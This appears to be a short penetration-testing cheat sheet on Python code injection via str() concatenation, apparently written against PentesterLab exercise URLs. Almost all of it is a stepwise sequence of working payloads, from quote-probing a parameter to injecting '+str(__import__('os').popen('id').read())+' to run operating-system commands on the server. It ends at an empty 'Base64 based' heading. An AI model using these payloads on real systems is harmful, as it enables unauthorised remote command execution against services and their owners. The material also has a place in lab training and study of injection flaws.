str() in Python

Common Command Injection Step

# Check if you can insert the following characters for param=value
# ' 
# "
# and see if you get an error.
https://ptl-ac88f0b5-ecbb39a9.libcurl.so/hello/hacker'
https://ptl-ac88f0b5-ecbb39a9.libcurl.so/hello/hacker"

# Add another comma or double-quote to see if the error goes away. 
hacker''
hacker""

# Then add a + (plus) inside the two commas or double-quotes. 
hacker"+" 
hacker"+""+" 

# %2b = + 
# Add a character inside the characters - "+"a"+" and if you get not error. 
hacker"%2b"a"%2b"

# Add the payload "+str(1)+" 
hacker"%2bstr(1)%2b"

# check the payload works - "+str(os.popen("id").read())+" 
hacker"%2bstr(os.popen("id").read())%2b"

# Chekc if the payload works - '+str(__import__('os').popen('id').read())+' 
engine=Accuweather&query=1'%2bstr(__import__('os').popen('id').read())%2b'

Base64 based Command Injection Step

Last updated